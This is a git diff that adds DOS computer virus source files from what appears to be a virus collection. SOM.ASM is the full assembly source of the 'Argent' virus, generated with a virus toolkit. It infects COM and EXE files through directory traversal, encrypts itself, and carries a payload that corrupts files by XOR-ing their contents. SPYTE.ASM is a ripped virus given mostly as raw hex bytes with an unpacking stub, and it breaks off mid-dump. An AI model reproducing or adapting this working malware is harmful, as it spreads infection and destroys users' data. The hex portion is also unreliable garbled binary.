;dx + +rave_it: + inc cs:do_inc + cmp cs:do_inc,3 + jne dont_high + mov cs:do_inc,0 + inc cs:scroll_pos +dont_high: + mov cx,cs:scroll_pos + mov ax,0 +scroll_1: + call scroll + inc ax + loop scroll_1 + + mov cx,cs:scroll_pos + add cx,cx +scroll_2: + call scroll + dec ax + loop scroll_2 + jmp rave_it + + +virlen equ offset eof - offset start +eof: + end start + diff --git a/s/SOM.ASM b/s/SOM.ASM new file mode 100755 index 0000000..9f8614e --- /dev/null +++ b/s/SOM.ASM @@ -0,0 +1,405 @@ +; SOM.asm : [Argent] by Abraxas +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'Z1' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov di,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,35h ; xor word ptr cs:[di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],2 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ch ; Get current time + int 21h + cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX +c_crypt_loop: mov ah,03Fh ; DOS read from file function + mov cx,4096 ; Read 4k of characters + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + or ax,ax ; Were 0 bytes read? + je close_c_file ; If so then close it up + push ax ; Save AX + lea si,[bp - 4096] ; SI points to the buffer + xor ah,ah ; BIOS get clock ticks function + int 01Ah + pop cx ; CX holds number of bytes read + push cx ; Save CX +corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks + inc si ; Do the next byte + inc dx ; Change the key for next byte + loop corrupt_bytes ; Repeat until buffer is done + pop dx ; Restore DX (holds bytes read) + push dx ; Save count for write + mov ax,04201h ; DOS file seek function, current + mov cx,0FFFFh ; Seeking backwards + neg dx ; Seeking backwards + int 021h + mov ah,040h ; DOS write to file function + pop cx ; CX holds number of bytes read + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + jmp short c_crypt_loop +close_c_file: mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc Activate ; If successful do next file +corrupt_end: pop di ; Restore DI + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + jmp exit_virus + +creator db '[Z10]',0 ; Mass Produced Code Generator +virusname db '[Argent]',0 +author db 'Abraxas',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,15000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/s/SPYTE.ASM b/s/SPYTE.ASM new file mode 100755 index 0000000..f21d4d0 --- /dev/null +++ b/s/SPYTE.ASM @@ -0,0 +1,304 @@ +͸ + Spyte Virus Source Code + Ripped by : The Head Hunter [FS] + + Unscannable (Yet...) + +; + db ff,c3,55,89,e5,a1,d4,02,05,96,00,a3,fa,ff,f0,7f,36,fc,9a,c6 + db 02,4e,00,b8,0a,00,50,9a,9e,7c,fc,f7,89,ec,5d,cb,de,0e,e8,d7 + db ff,ff,87,1e,c5,b6,0c,00,c4,be,08,00,8b,8e,06,fc,ff,ff,d7,33 + db c0,fc,ac,3c,1b,75,05,80,f4,80,eb,4d,3c,10,ff,ff,73,07,80,e4 + db 70,0a,e0,eb,42,3c,18,74,13,73,19,2c,0b,f1,10,02,c0,fe,fc,e9 + db 8f,e9,2b,81,e1,ff,c2,a0,cb,fa,eb,23,3c,19,75,0b,ac,51,32,ff + db 9f,ed,8a,c8,b0,20,eb,0d,90,3c,1a,75,0f,ac,49,ff,7f,f0,ac,e3 + db 03,ab,e2,fd,59,49,ab,e3,02,e2,a5,1f,0c,ff,87,ca,7b,08,34,30 + db '0 Me' + db f0,ff,67,a2 + db 'Running5c:\x' + db 9f,3b,fc,42,42,53,f9,fd,5c,4c,53,44,a8,28,f5,f9,64,e7,fc,f9 + db f2,f8,09,7d,fc,f5,04 + db 'PATH9' + db 81,ec,68,02,ff,c7,c4,7e,0e,06,57,8d,7e,f0,16,57,b8,0f,1b,7f + db 8c,2b,03,b0,00,bf,9d,00,0e,ed,9e,85,77,ed,50,ed,fd,0f,e6,fe + db bf,a6,e9,f8,10,bf,ae,1f,18,ed,f8,10,8d,be,98,fd,f1,af,53,18 + db f5,fe,f5,98,fb,bf,e4,c7,87,d7,9a,11,e0,9a,69,00,40,fb,08,41 + db 00,fb,86,0a,86,c8,ff,fc,21,f2,26,80,3d,00,75,23,ca,9e,13,09 + db ca,bf,a6,d4,f8,12,1b,fe,72,58,fe,d0,fe,09,f7,06,26,c6,05,00 + db eb,76,1e,07,f7,fc,01,d6,f2,0c,00,22,62,06,a9,a7,ec,22,ae,5f + db f8,0a,9a,9f,05,be,61,42,16,fe,97,2e,ff,9c,e3,48,34,e7,08,46 + db f0,b8,10,c6,d3,d8,59,f1,9a,0e,02,d8,ee,ff,e8,fd,c6,86,b3,f9 + db 01,eb,04,fe,f9,dd,fc,9a,85,f8,f3,09,e1,fd,d6,18,b3,40,31,d2 + db bf,03,89,86,ae,f9,89,96,b0,df,fd,ff,b6,f6,c0,0a,fc,ee,9a,ac + db d7,fe,94,fd,31,de,25,f9,c1,0e,ea,83,c4,04,e7,f8,0a,f8,70,c4 + db c1,8c,c2,2d,01,e9,da,00,52,b0,f0,ab,c9,f8,15,15,c9,f8,0a,68 + db 56,fd,80,f0,db,be,6f,05,74,03,e9,65,ff,69,fd,da,4a,f8,09,fd + db 7f,38,fd,f9,f2,04,00,02,4c,53,02,44,2e,03,45,58,45,ff,2b,ef + db f3,56,01,c6,46,ad,00,bf,ce,02,4a,f2,eb,f0,0b,0c,d5,ce,06,fd + db ba,aa,87,f3,f0,f2,56,f2,71,b5,bf,d1,d9,9a,9e,2c,f2,d4,f8,0c + db d8,f8,10,d4,10,60,d8,f8,0c,fb,ad,fb,b0,9f,fd,38,9c,fc,b2,fc + db 80,f3,00,74,32,61,ff,e8,f1,6a,fe,a6,e1,3d,64,00,7c,1f,89,ff + db ed,46,aa,eb,03,ff,4e,aa,ff,76,aa,a0,e4,05,a0,e5,83,bf,55,7e + db aa,64,75,e6,eb,27,d7,f8,18,01,d7,f8,0c,71,e2,e0,e9,04,c0,09 + db fb,ec,1d,c3,c2,9a,c2,01,f8,31,c0,44,e1,91,34,3f,1c,fc,bf,02 + db 00,1e,57,be,cb,8e,c6,bf,3c,0c,e0,c0,e9,96,02,50,e9,3f,fc,71 + db 5e,fc,19,fc,ed,fe,d3,9a,f3,29,e4,18,e1,cb,9a,d8,b7,bb,8b,ec + db ff,f7,1e,fc,c5,76,06,ac,8a,d8,32,ff,03,de,e1,e1,47,56,10,fe + db 1e,f0,0a,f0,c8,32,ed,f3,a4,32,ff,ff,c0,aa,4f,b8,00,43,c5,56 + db 0e,42,cd,21,1f,5e,72,06,43,7a,f7,c1,18,1e,25,d9,3b,f3,74,1d + db f8,87,e1,8a,e0,ac,3c,3b,74,05,aa,f2,3f,7c,75,f4,80,fc,3a,74 + db c2,fb,5c,74,bd,b0,5c,38,fe,38,b8,8b,c7,d9,2b,c7,48,aa,1f,d3 + db f9,5d,ca,08,97,83,ec,20,94,8d,7e,c3,ff,e0,16,07,c9,1f,76,02 + db b0,1f,98,8b,c8,40,87,f0,8b,d0,e3,0e,f1,61,a3,3c,7a,77,7f,f8 + db 02,2c,20,aa,e2,f2,b0,3d,cb,1e,8e,1e,c8,f0,43,02,fc,2c,00,33 + db f6,80,3c,8c,11,fc,ff,ca,8b,ca,f3,a6,74,08,4e,ac,0a,c0,75,fb + db 1f,fe,eb,ea,8b,fe,1e,07,7f,b9,00,01,f2,ae,f6,1e,ae,d1,e0,e1 + db 8a,c1,aa,4f,1f,8b,e5,f7,ea,fe,9d,ff,ff,db,f1,e8,2a,00,bf,ea + db 02,1e,6e,f1,1f,03,ef,14,f7,9a,1c,06,39,f1,ea,03,ed,0c,71,f4 + db ed,f7,9a,21,ed,a1,f2,b4,0f,ff,f0,e8,d3,05,3c,07,74,0a,3c,03 + db 57,b8,03,00,e1,ff,e8,56,fd,a1,00,b4,08,32,ff,e8,bb,05,8a,ff + db 0f,c4,24,7f,a2,e6,02,a2,dc,02,33,c0,a2,d7,e1,ff,f8,e7,fd,e8 + db 02,40,a2,d6,02,b8,40,00,8e,ff,c7,c0,bf,6c,00,26,8a,05,26,3a + db 05,74,fb,f8,21,fc,b9,ff,ce,3f,e7,37,00,91,f7,d0,1f,fe,33,d2 + db f7,f1,a3,e2,86,0e,1f,ba,2f,01,b8,1d,ff,1b,25,b5,f1,c3,ba,cd + db c2,26,80,26,87,00,08,7f,fe,91,05,04,72,02,b0,03,50,b4,f8,3f + db 92,54,05,58,0a,e4,74,2d,b8,12,11,b3,fc,c3,f3,47,05,b8,30,11 + db b7,00,b2,f6,3d,1f,02,05,80,fa,2a,75,16,ce,0e,ce,00,fc,bc,fd + db 08,06,e8,29,05,b4,3f,de,12,b3,20,e8,22,05,c3,49,1c,05,50,d4 + db fe,f0,0f,11,bd,b1,00,0a,d2,75,08,b2,18,ff,c3,39,77,02,b1,01 + db 8a,f2,8a,d4,fe,ca,a3,80,ff,ff,fe,18,76,02,b4,01,a3,da,02,89 + db 16,e4,02,88,0e,d9,1f,c6,02,c6,06,d8,02,01,32,a3,de,ee,ff,87 + db e0,02,c3,50,1e,b8,57,01,8e,d8,80,3e,2c,03,3c,00,74,05,e3,21 + db 01,1f,58,cf,c0,53,f1,f8,00,75,01,c3,f0,00,18,00,c1,cd,16,50 + db b4,fe,ff,fa,eb,f4,b0,5e,e8,18,03,b0,43,e8,13,03,e8,09,ff,c3 + db 03,cd,23,8b,dc,36,8b,47,04,e8,23,06,6e,0d,78,ff,a0,d8,f3,ca + db d0,eb,8a,57,0a,18,86,fc,77,08,fc,4f,06,fc,ff,e1,6f,04,3a,d1 + db 77,27,3a,f5,77,23,6e,78,1f,7f,f8,fe,ce,78,1b,fe,c9,3a,0e,72 + db 77,13,fe,cd,43,c0,3a,2e,e5,f8,0b,76,72,00,85,0e,72,0c,03,c7 + db e9,14,c3,10,06,8a,3e,b6,8b,0e,eb,8b,0f,f0,5d,e8,34,04,f9,f5 + db e8,21,03,77,fa,cb,e8,16,03,e3,fe,ca,8a,e5,19,04,cb,b8,c3,9f + db 01,07,eb,ea,01,06,50,e8,f9,02,58,e2,f4,e5,8a,c8,8a,ee,c6,3a + db ee,75,0f,8c,02,32,c0,e8,f4,c7 + db 'mC?u' + db b8,99,74,69,6d,65,ff,c3 + db ' error ' + db 00,20,61,74,fb,2e,1d,0e,0d,0a,48,e1,87,06,1a,cb,83,3e,0e,ff + db fb,17,c9,cb,a1,f9,e9,b5,fe,8b,f4,36,8e,ff,e1,44,02,26,3b,55 + db 02,7f,07,7c,14,f8,05,72,78,80,0f,f3,06,7c,08,f1,f8,c3,c7,45 + db 04,77,d8,b8,c9,00,e9,8d,d8,1f,3e,2b,f0,72,0d,81,ee,91,72,07 + db 3b,36,ca,60,08,fa,e7,ca,e7,74,fd,ff,e7,c8,49,e9,f0,8b,fa,f7 + db e1,50,52,8b,c6,f7,e3,8b,03,fc,d8,8b,c7,f4,ea,5a,58,03,d3,03 + db ff,ff,d1,cb,55,8b,e9,0b,eb,74,60,0b,db,9c,79,0a,f7,d1,ff,e9 + db f7,d3,83,c1,01,83,d3,00,0b,d2,f1,d0,f7,fd,7d,d2,05,e0,a1,d2 + db 00,8b,f1,8b,fb,33,f2,bd,21,00,d1,f8,ff,ff,d3,2b,ce,1b,df,73 + db 04,03,ce,13,df,f5,ff,85,d1,d0,d1,d2,4d,75,ea,9d,79,0f,c3,f8 + db 09,f3,83,f7,05,eb,0d,fb,c0,f8,0a,5d,cb,5d,ea,e9,e9,e7,ff,07 + db fd,83,e1,1f,74,06,d1,ea,d1,d8,e2,fa,18,0e,08,f4,e0,c0,f4,fd + db fd,90,7d,d1,f8,0a,cb,fc,8b,dc,8c,da,0a,d9,08,36,c5,77,bb,42 + db 04,ac,aa,f9,ac,8e,da,29,d9,e6,fc,ea,0a,7c,78,e2,06,36,8b,4f + db e2,3a,c1,76,02,ed,0b,8a,b1,dc,ff,0a,cf,d6,8a,05,32,e4,ce,ff + db 71,f1,ef,0c,ca,08,8a,42,f1,ca,06,0b,fb,27,c9,7f,03,06,d9,03 + db f1,2b,c1,72,13,40,b8,18,c2,ee,7d,02,1d,3b,b3,06,7b,2e,8b,c1 + db eb,a5,b1,aa,8b,c8,b1,08,bf,ff,43,f8,73,aa,0d,98,ac,26,00,05 + db 0d,1f,73,08,07,99,ff,87,f6,d0,03,f9,47,54,c6,83,61,f8,09,6e + db c9,9a,b9,7f,d5,7f,f8,e3,29,47,ac,3c,01,72,29,ed,ac,f2,ae,75 + db 87,3f,1c,4f,eb,1f,7f,8b,d1,2b,d0,72,11,42,7e,c0,9f,a6,74,0e + db 2b,c8,7b,be,c3,ff,4a,75,f0,8c,eb,08,2b,f8,8b,c7,36,2b,47,15 + db c6,04,1f,88,ff,b3,fd,8d,8a,25,99,f1,e3,3a,cc,13,cc,0a,c9,74 + db 06,12,a6,d7,5b,75,02,3a,c4,5d,fe,f0,f2,b0,01,aa,0a,c2,aa,80 + db c1,a3,68,4b,fe,0a,bf,d8,f1,eb,30,fd,06,ff,ea,03,ca,81,ec,00 + db 02,8d,be,00,fa,92,1b,93,1e,a1,8b,5b,a1,46,06,48,b4,e1,d0,1b + db 91,63,89,f7,08,e5,06,1e,99,00,8c,99,df,ff,79,a9,ff,dc,58,29 + db ea,b1,fe,62,91,f8,8a,ec,08,ac,0e,f4,6f,fe,15,aa,05,91,ac,fc + db 83,7e,9b,2a,a1,7e,43,a6,f8,10,08,a6,76,03,91,af,ff,86,c6,ec + db 03,8f,50,ab,fc,5c,ab,9a,ad,99,ab,fc,ef,fc,19,aa,94,c9,4c,ec + db e1,7e,fc,89,bc,a8,c1,04,92,f7,f3,92,25,e8,36,00,93,ff,ff,b8 + db 80,00,b9,20,00,f6,c6,80,75,0a,d1,e3,d1,d2,fe,ff,f0,c8,e2,f3 + db 32,c0,80,e6,7f,cb,c4,00,cd,3c,ff,87,9f,06,65,05,cd,37,06,ce + db 02,cd,35,e1,fd,ff,e1,fd,cd,39,d9,cd,3d,cb,e1,ff,a1,ef,8b,1e + db f0,4f,d0,fc,c8,2e,f7,26,9d,05,d1,e1,3f,86,fe,02,e9,03,d1,03 + db d3,bc,e3,fa,1f,0c,02,f3,b1,05,d3,e3,fa,7b,ec,a3,c3,b7,d2,89 + db 16,d2,c3,05,84,b4,2c,a3,d1,0e,ea,03,f1,fc,62,bb,f4,ed,92,c1 + db ab,b8,b0,d7,fc,44,f8,73,ab,f5,ff,8d,45,74,ab,38,c4,8c,ec,c1 + db 06,f9,c8,ed,7f,ab,b9,0e,00,f3,ab,ac,3c,4f,9c,99,4f,35,9f,25 + db f2,35,c6,51,f3,0a,69,f2,17,c1,04,f8,06,f8,e8,ee,0c,f8,0b,c1 + db 45,0e,01,c6,45,0a,33,e9,ba,1f,de,b1,d7,eb,08,ba,b2,fb,03,ba + db b3,d7,f5,be,3b,1c,45,02,3d,17,b9,12,3d,e9,74,0d,3d,ee,f7,7e + db 74,10,c7,c7,d9,66,00,eb,24,52,45,f2,24,00,b4,5f,5a,bd,55,02 + db b9,fe,bb,10,00,e8,4a,93,d2,05,35,ac,b3,e3,ba,d5,74,b1,b2,fd + db ca,b4,18,61,0a,f8,b0,08,b5,67,0f,d0,e0,18,50,bb,14,ca,fd,58 + db fa,d1,43,05,0c,bb,1c,f5,09,5f,b9,c1,fd,9b,b8,5d,fe,26,ff,19 + db 37,d1,03,69,d1,5f,07,e5,a9,ff,7e,78,b3,33,c9,89,0d,b8,00,3d + db af,fc,0d,b0,02,ff,05,84,3f,f5,4a,74,02,b4,3c,80,7d,30,fc,7f + db 7f,09,8d,55,30,cd,21,72,4f,89,05,b8,9d,07,d8,43,d3,8b,d9,d6 + db fc,29,8b,1d,ca,44,f8,7f,e7,b8,f2,07,8b,c8,8c,cb,f6,c2,80,75 + db 11,fe,b3,c7,75,03,e8,26,00,b8,cd,d5,7e,b8,2b,b3,30,b5,4d,18 + db 89,5d,1a,ef,1c,12,08,23,74,2e,b7,33,d2,db,b9,02,de,89,2d,80 + db 43,78,2d,82,73,72,c0,eb,8b,ca,8b,d0,c2,05,a2,e9,8d,95,cc,e9 + db fd,18,fa,f2,b4,3f,f3,73,1e,e1,33,db,3b,c7,f0,d8,74,20,80,ec + db 1a,38,43,eb,f2,57,5a,8b,d3,2b,d0,cf,91,ba,fd,b1,b4,40,40,d1 + db bf,f2,0f,f4,04,26,c5,55,0c,7c,b1,83,f1,bf,72,0a,8b,10,a7,f2 + db 99,f1,79,08,00,74,ab,61,61,f6,0a,f6,eb,ee,d0,f8,0a,bc,26,87 + db 7d,58,4a,b1,b7,fc,72,07,2b,c1,98,b8,65,47,af,51,ff,db,f8,14 + db 68,e0,fc,17,f4,1d,83,fb,04,76,06,55,fb,b4,3e,e6,fc,c7,ff,81 + db e8,0c,98,e9,16,98,e8,16,a0,d2,02,ef,05,b4,3d,33,d2,eb,4f,b9 + db 3c,ba,01,09,ac,95,4d,ea,a4,f1,cc,e9,1a,f8,63,f1,0f,f3,c4,e9 + db '4~wP' + db c3,eb,4c,00,5a,58,26,52,f3,12,1e,51,f1,06,1f,70,2f,60,b4,c1 + db 73,06,17,f1,eb,11,92,fd,ea,40,ad,cc,05,05,d1,d9,45,ea,5d,b0 + db d9,8e,56,54,fc,d7,c1,75,0e,34,38,fc,73,e7,ea,38,ff,37,b1,5c + db a9,75,17,33,fd,09,33,e1,f6,43,b1,ef,77,fd,06,86,ec,c3,b4,3f + db ba,64,71,05,d8,ff,b9,ba,65,4e,fc,0a,e8,dc,ff,75,1b,1e,52,15 + db fe,c5,56,4d,a1,7e,f3,be,5a,1f,72,06,3b,c1,10,3d,74,78,c2,b6 + db da,a2,b3,3f,b9,dd,43,ca,b3,40,b9,ca,fd,10,e8,a6,ca,3f,e8,7f + db 58,0a,59,e9,1c,1e,51,26,f7,65,04,8b,c8,38,07,bd,0c,8a,e3,bf + db 59,bf,08,7b,25,d2,ea,75,04,8f,a1,8c,c2,0b,88,87,80,05,29,eb + db 1c,3b,cf,27,d4,74,17,89,0e,12,a6,e4,ff,af,e2,d0,50,05,98,0e + db 6e,fe,4a,a4,21,3b,d9,c5,a2,aa,fc,f3,f2,f7,03,93,e9,a4,ec,e2 + db 92,eb,1e,3c,db,44,00,4e,c1,49,83,e1,37,f9,01,1d,33,db,0e,e8 + db 8c,f8,2e,92,2d,7c,73,e9,13,8b,c1,8b,d3,e5,f8,0c,71,e5,12,f8 + db 8f,e5,0b,2b,c1,1b,d3,72,05,b0,01,d5,05,f0,32,08,f4,1f,d2,d6 + db f4,75,2b,74,c1,45,8c,eb,96,01,96,52,50,f2,fe,49,ea,5b,40,aa + db 59,f0,ab,7a,fc,58,a1,ab,f4,fd,ff,f4,e2,f9,8b,a8,0a,16,0f,41 + db ' New Crac?' + db fc + db 'k From.' + db ff,0e,1a,3c,da,18,fd,21,1a,4f,fc,f8,0a,0c,da,0c,1a,09,b1,e8 + db 04,c6,d8,f8,08,f8,07,f8,0b,f0,f8,0a,18,62,08,dc,0a,f4,b1,f5 + db 09,84,66,f9,fa,03,f3,fc,06,f3,25,a6,fa,fc,ed,fd,f9,c7,f3,6c + db 51,05,f3,c2,f8,0a,0e,c8,f8,09,f9,ad,f8,0a,2c,14,f9,0f,d9,f8 + db 14,fa,0b,da,f8,10,c1,b0,ee,d6,61,f8,09,da,ff,0c,b0,22,30,fa + db fd,86,fe,d2,82,c3,54,15,d1,15,66,f8,09,e6,fc,d3,f8,12,a5,fe + db d4,f8,0d,91,48,71,d4,d6,36,55,f8,11,45,54,ef,ff,d0,fd,67,d4 + db 22,fd,e5,fd,55,e9,fc,f0,09,49,f8,0a,d3,f8,13,96,f7,66,f0,0b + db fc,12,da,ff,bf,0f + db 'The Up and Com' + db ff,e9 + db 'cI Power In' + db f0,70,75,b8,01,74,f4,50,69,1b,f1,79,bd,84,ff,d1,c5,f8,09,68 + db 0b + db 'Doc Tol' + db d3,ff,73,65,6e,59,0b + db 'Prof. FamHlk' + db ef,fd,54,61,ac,4c,fc,64,1f,3e,65,0b,53,68,6f,6b,cf,72,65,61 + db 74,6d,34,04,de,74,ed,fc,6e,93,4d,84,12,2e,d1,a9,fc,5a,0a,34 + db 32,d2,44,0d,ff,1f,0a,43,b1 + db 'l SPyTE' + db ff,0f + db ' HQ - (404) ?' + db e1,c2,ff,2d,cd,3f,19,02,af,45,9c,53,10,b4,44,d1,0c,c0,eb,90 + db 0c,ff,f8,2c,02,02,00,c5,f8,0c,00,f0,00,00,00,00,00,00,00,00 + db b1,03,00,00,00,40,ab,01,25,01,71,00,92,01 + PUSH ES + PUSH CS + POP DS + MOV CX, WORD PTR [Data0] + MOV SI, CX + DEC SI + MOV DI, SI + MOV BX, DS + ADD BX, WORD PTR [Data1] + MOV ES, BX + STD + REPNZ + MOVSB + PUSH BX + MOV AX, 002bh + PUSH AX + RETF + db 2e,8b,2e,08,00,8c,da,89,e8,3d,00,10,76,03,b8,00,10,29,c5,29 + db c2,29,c3,8e,da,8e,c3,b1,03,d3,e0,89,c1,d1,e0,48,48,8b,f0,8b + db f8,f3,a5,09,ed,75,d8,fc,8e,c2,8e,db,31,f6,31,ff,ba,10,00,ad + db 89,c5,d1,ed,4a,75,05,ad,89,c5,b2,10,73,03,a4,eb,f1,31,c9,d1 + db ed,4a,75,05,ad,89,c5,b2,10,72,22,d1,ed,4a,75,05,ad,89,c5,b2 + db 10,d1,d1,d1,ed,4a,75,05,ad,89,c5,b2,10,d1,d1,41,41,ac,b7,ff + db 8a,d8,e9,13,00,ad,8b,d8,b1,03,d2,ef,80,cf,e0,80,e4,07,74,0c + 